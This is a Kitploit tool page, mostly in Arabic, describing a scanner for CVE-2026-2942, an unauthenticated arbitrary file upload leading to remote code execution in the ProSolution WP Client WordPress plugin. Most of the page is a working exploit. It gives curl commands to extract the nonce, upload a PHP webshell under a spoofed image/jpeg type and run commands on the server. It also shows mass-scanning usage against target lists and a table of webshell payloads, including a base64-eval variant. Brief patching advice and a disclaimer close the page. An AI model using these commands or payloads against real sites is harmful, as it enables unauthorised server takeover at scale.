Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-2942 — أداة مسح آلي لاكتشاف رفع الملفات التعسفي غير المصادق عليه وتنفيذ الأوامر عن بعد في ProSolution WP Client (CVE-2026-2942). تدعم المسح متعدد الخيوط، وتزوير MIME، والتحقق من الشل، ودعم الوكيل لاختبار الاختراق. | Kitploit
أدوات/GitHubGitHub/xxconi/cve-2026-2942
ماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubxxconi/cve-2026-2942

CVE-2026-2942

أداة مسح آلي لاكتشاف رفع الملفات التعسفي غير المصادق عليه وتنفيذ الأوامر عن بعد في ProSolution WP Client (CVE-2026-2942). تدعم المسح متعدد الخيوط، وتزوير MIME، والتحقق من الشل، ودعم الوكيل لاختبار الاختراق.

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ProSolution WP Client — ماسح رفع الملفات غير الموثَّق وتنفيذ الأوامر عن بعد (RCE)

الإضافة: prosolution-wp-client
الإصدار المتأثر: <= 1.9.9
نوع الثغرة: رفع ملف تعسفي غير موثَّق → تنفيذ أوامر عن بُعد
مستوى الخطورة: 🔴 حرج (CVSS 9.8)
المتطلبات: صفحة عامة تحتوي على shortcode [prosolfrontend]


📌 حول الثغرة

إجراء AJAX proSol_fileUploadProcess في إضافة ProSolution WP Client، يتحقق من نوع MIME للملفات المرفوعة ولكنه لا يتحقق من الامتداد. يمكن للمهاجم رفع ملف بامتداد .php مع نوع MIME image/jpeg لتحميل webshell على الخادم بدون مصادقة.

سلسلة الهجوم

root@kitploit:~
[prosolfrontend] shortcode sayfası
        │
        ▼
1. prosolObj.nonce → public sayfadan çekilir (kimlik doğrulama gerekmez)
        │
        ▼
2. POST /wp-admin/admin-ajax.php
   action=proSol_fileUploadProcess
   security=<nonce>
   files[]=shell.php  (Content-Type: image/jpeg)  ← MIME Spoofing
        │
        ▼
3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir
        │
        ▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
        │
        ▼
5. uid=33(www-data) → Unauthenticated RCE ✓

🧪 إثبات المفهوم (يدوي)

⚠️ إخلاء مسؤولية: يتم توفير إثبات المفهوم هذا لأغراض البحث الأمني التعليمي والدفاعي فقط. استخدمه فقط ضد الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لاختبارها.

المتطلبات الأساسية

  • WordPress مثبت وإضافة prosolution-wp-client نشطة (الإصدار <= 1.9.9)
  • صفحة WordPress منشورة تحتوي على shortcode [prosolfrontend]

الخطوة 1 — استخراج nonce

قم بزيارة أي صفحة عامة تحتوي على shortcode [prosolfrontend] واستخرج قيمة prosolObj.nonce من كود المصدر:

root@kitploit:~
TARGET="https://target.example.com"

NONCE=$(curl -s "$TARGET/jobs" \
  | grep -oP '"nonce"\s*:\s*"\K[^"]+')

echo "Extracted nonce: $NONCE"

البنية التي يتم البحث عنها في كود المصدر:

root@kitploit:~
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
    "ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
    "nonce": "a1b2c3d4e5",
    ...
};
</script>

الخطوة 2 — إنشاء webshell PHP

root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

الخطوة 3 — الرفع باستخدام تزوير MIME

أرسل ملف .php مع Content-Type بقيمة image/jpeg:

root@kitploit:~
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -F "action=proSol_fileUploadProcess" \
  -F "security=$NONCE" \
  -F "files[]=@/tmp/shell.php;type=image/jpeg" \
  | python3 -m json.tool

الاستجابة المتوقعة:

root@kitploit:~
{
  "files": [
    {
      "name": "shell.php",
      "size": 31,
      "url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
      "newfilename": "a3f8b2c1d9e4f7g2.php",
      "rename_status": true,
      "extension": "php"
    }
  ]
}

"extension": "php" و "rename_status": true ← تم حفظ ملف .php بنجاح.


الخطوة 4 — تفعيل RCE

root@kitploit:~
SHELL_FILE="a3f8b2c1d9e4f7g2.php"   # newfilename من الخطوة 3

curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"

المخرجات المتوقعة:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

✅ تم تحقيق تنفيذ الأوامر عن بُعد بدون مصادقة.


🛠️ تثبيت الماسح الآلي

root@kitploit:~
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 الاستخدام

هدف فردي

root@kitploit:~
python prosol_upload.py -u http://hedef.com

مع التحقق من shell

root@kitploit:~
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"

مسح جماعي

root@kitploit:~
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt

باستخدام بروكسي (Burp Suite)

root@kitploit:~
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080

نوع shell مخصص

root@kitploit:~
python prosol_upload.py -u http://hedef.com --shell-type full

⚙️ المعاملات

المعاملالاختصارالوصفالافتراضي
--url-uعنوان URL للهدف الفردي—
--list-lملف قائمة الأهداف—
--threads-tعدد الخيوط10
--output-oملف المخرجاتuploaded.txt
--shell-name—اسم الملف المراد رفعهshell.php
--shell-type—نوع shellsystem
--verify—اختبار RCE بعد الرفعFalse
--verify-cmd—أمر التحققid
--proxy—عنوان URL للبروكسي—
--timeout—مهلة الطلب (ثوانٍ)10

💀 أنواع Shell

النوعالحمولةالوصف
system<?php system($_GET["cmd"]); ?>أمر نظام أساسي
passthru<?php passthru($_GET["cmd"]); ?>إخراج خام
exec<?php echo exec($_GET["cmd"]); ?>تنفيذ صامت
assert<?php assert($_POST["cmd"]); ?>تقييم عبر POST
b64<?php eval(base64_decode($_POST["cmd"])); ?>إخفاء Base64
fullshell_exec + system + exec fallbackshell شامل

📂 موقع تحميل shell

root@kitploit:~
جذر WordPress/
└── wp-content/
    └── uploads/
        └── prosolwpclient/
            └── [random_hex].php   ← Shell هنا

📊 حالات إخراج الماسح

الحالةالوصف
★ UPLOADEDتم رفع shell بنجاح
✓ RCE OKتم التحقق من shell وتنفيذ الأمر
- BLOCKEDالخادم منع امتداد PHP
~ TIMEOUTانتهت مهلة الاتصال
~ CONN_ERRخطأ في الاتصال
! HTTP_ERRرمز خطأ HTTP

🖥️ مثال على إخراج الماسح

root@kitploit:~
[*] 3 أهداف | رفع ملفات ProSolution | عدد الخيوط = 10

[★ UPLOADED ] http://hedef1.com
  رابط Shell : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
  الاسم الجديد: a3f8b2c1d9.php  (renamed=True)
  [✓ RCE OK ] خرج الأمر: uid=33(www-data) gid=33(www-data)

[- BLOCKED  ] http://hedef2.com  ext=jpeg
[~ TIMEOUT  ] http://hedef3.com

───────────────────────────────────────────────
  UPLOADED            :    1  █
  BLOCKED             :    1  █
  TIMEOUT             :    1  █
───────────────────────────────────────────────
  ملفات shell التي تم رفعها → uploaded.txt
───────────────────────────────────────────────

🛡️ الدفاع / التصحيح

الإجراءالتطبيق
منع تنفيذ PHPإضافة .htaccess في دليل uploads/
تحديث الإضافةالترقية إلى إصدار > 1.9.9 أو إزالتها
قائمة الامتدادات البيضاءالسماح فقط بالامتدادات المسموح بها من جانب الخادم
التحقق من MIMEفحص المحتوى الفعلي باستخدام finfo_file()
قاعدة WAFحظر طلبات رفع ملفات .php

ملف .htaccess لدليل uploads/:

root@kitploit:~
<FilesMatch "\.php$">
    Deny from all
</FilesMatch>

⚠️ إخلاء مسؤولية قانوني

هذه الأداة وإثبات المفهوم معدة للاستخدام فقط على الأنظمة المصرح بها، لأغراض تعليمية وضمن اختبار الاختراق.
استخدامها على أنظمة بدون إذن يشكل جريمة بموجب المواد 243-245 من قانون العقوبات التركي وقوانين الجرائم الإلكترونية الدولية.
المطور لا يتحمل أي مسؤولية قانونية ناتجة عن إساءة استخدام الأداة.


📄 الرخصة

رخصة MIT — للأغراض التعليمية والبحثية فقط.

تنزيل الأداة